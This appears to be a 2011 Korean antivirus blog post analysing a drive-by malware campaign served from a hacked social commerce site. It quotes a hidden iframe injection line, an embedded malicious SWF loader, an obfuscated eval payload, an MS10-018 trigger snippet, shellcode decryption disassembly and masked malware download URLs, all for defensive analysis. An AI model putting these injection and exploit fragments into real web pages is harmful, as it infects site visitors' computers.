소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(1)
소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(2)
* 참고: 해당 사이트 및 악성코드 유포 주소는 공개할 수 없다.
해당 사이트를 통해서 유포된 악성코드는 V3:2011.06.26.01이상의 엔진 버전에서 아래와 같이 대응하고 있다.
Win-Trojan/Agent.33592272(V3)
Win-Trojan/Agent.33606100(V3)
JS/Agent(V3)
HTML/Agent(V3)
SWF/Cve-2010-2884(V3)
HTML/Agent(V3)
악성 스크립트가 삽입된 해당 사이트의 페이지는 아래와 같다.
http://***************/common/script.php?l=b4b7caa5611fae1fb130505ccdb53a15&t=.js
[그림 1] 악성 스크립트 주소가 삽입된 페이지
ee.js는 아래처럼 main.html을 다운로드 한 후 실행하는 스크립트로 아래 코드를 저장하고 있다.
document.write("<iframe src=http://test.*****.com/data/main.html width=0 height=0></iframe>");
main.html은 해킹된 해당 사이트에 접속한 PC로부터 쿠키, Internet Explorer 및 Flash Player의 버전을 체크하여
악성코드를 다운로드하는 스크립트로 main.html의 구조를 요약해 보면 아래와 같다.
main.html - Cookie 체크루틴
해킹된 웹 사이트를 통해서 유포되는 악성 스크립트의 대부분이 Cookie 체크루틴 사용하는데 이는 감염된 PC가 해킹된 웹 사이트에 재 접속 시 중복감염을 방지하기 위한 목적으로 사용된다.
main.html이 실행되면 helpor_net()를 호출하도록 되어 있다.
[그림 3] main.html의 쿠키체크 루틴: helpor_net() 호출 루틴
get_cookie('baker')==''라면 SetCookie()를 호출하여 Cookie를 생성하고 감염과정이 진행되지만 Cookie에서 baker라는 문자열이 존재하면 location.replace("about:blank");를 호출하고 감염과정을 진행하지 않는다.
main.html - IE버전 체크루틴
main.html에서 Internet Explorer의 버전을 체크하는 이유는 해킹된 사이트에 접속했을때 사용한 브라우저의 버전에 따라 취약점의 동작여부가 결정되기 떄문이다. 즉, 예를들면 IE 8에서는 동작하는 취약점이 IE 6, 7에서는 동작하지
않을 수 있다라는 의미이다.
[그림 4] Internet Explorer 버전체크
var IE_Version = navigator.userAgent.toLowerCase();
alert(IE_Version);
</script>
악성 스크립트에서 브라우저의 버전을 체크하는 방법은 navigator.useragent.toLowerCase()를 자주 사용하며 위 스크립트를 실행하면 아래 그림처럼 브라우저 버전이 포함된 정보가 포함된 경고창이 출력된다.
main.html - duam.html & 625.swf 분석
duam.html는 625.swf라는 플래시 파일을 다운로드하는 기능을 가진 스크립트로 아래와 같다.
<embed src='http://test.*******.com/data/625.swf' width=0 height=0 type=application/x-shockwave-flash scale='exactfit' allowScriptAccess='always'></embed>
625.swf는 플래쉬 취약점을 공격하는 플래시 파일은 아니며 내부에 MS10-018취약점을 공격하는 스크립트를 가진 파일이다.
// flash 8, total frames: 1, frame rate: 12 fps, 1x1 px, compressed
frame 1 {
flash.external.ExternalInterface.call('eval', 'eval(String.fromCharCode(118,97,114,32,115,117,110,32,61,32,39,77,77,53,50,56,51,56,52,78,78,88,88,37,117,48,67,48,67,37,117,57,48,위 난독화된 스크립트를 풀면 MS10-018 취약점 코드와 Shellcode가 존재한다.
{
var d=document.createElement('DIV');
d.addBehavior('#default#userData'); // MS10-018 취약점 코드
document.appendChild(d);
//---- 중간생략 ----//
}
Shellcode의 일부는 암호화되어 있으며 아래 복호화 루틴을 통해서 복호화된 후 실행된다.
00401002 . 90 nop
00401003 . 90 nop
00401004 . EB 10 jmp short 00401016
00401006 $ 5B pop ebx
00401007 . 4B dec ebx
00401008 . 33C9 xor ecx, ecx
0040100A . 66:B9 7A04 mov cx, 47A
0040100E > 80340B C2 xor byte ptr [ebx+ecx], 0C2
00401012 .^ E2 FA loopd short 0040100E
00401014 . EB 05 jmp short 0040101B
; 47A = 암호화된 Shellcode의 크기
; [ebx+ecx] = 암화된 Shellcode가 위치한 주소,
; 0C2 = 암호화된 Shellcode를 복호화할 때 사용하는 키
복호화된 Shellcode에는 악성코드를 다운로드하는 URL(http://test.*******.com/data/095.com)이 존재한다.
main.html - funs.html & cee.css 분석
[그림 6] MS11-003 취약점 공격코드
cee.css에 존재하는 prepare()의 내용을 살펴보면 아래와 같다.
[그림 7] prepare()에 존재하는 Shellcode
prepare()에도 마찬가지로 암호화된 Shellcode가 존재하며 복호화하면 악성코드를 다운로드하는 URL(http://184.***.***.82/funs.exe)가 존재한다.
'악성코드 정보' 카테고리의 다른 글
정상 윈도우 시스템 파일 교체 악성코드, MS11-050 취약점을 사용하다. (2) | 2011.07.03 |
---|---|
소셜커머스(Social Commerce) 사이트를 통한 악성코드 유포사례(2) (0) | 2011.06.29 |
Malicious Software, Friday Night Fever~!! (3) | 2011.06.24 |
웹 공격(SQL Injection)을 통한 악성코드 유포 (0) | 2011.06.23 |
"내 문서", "바탕화면" 등에 있던 파일들이 모두 사라졌다? (3) | 2011.06.22 |
댓글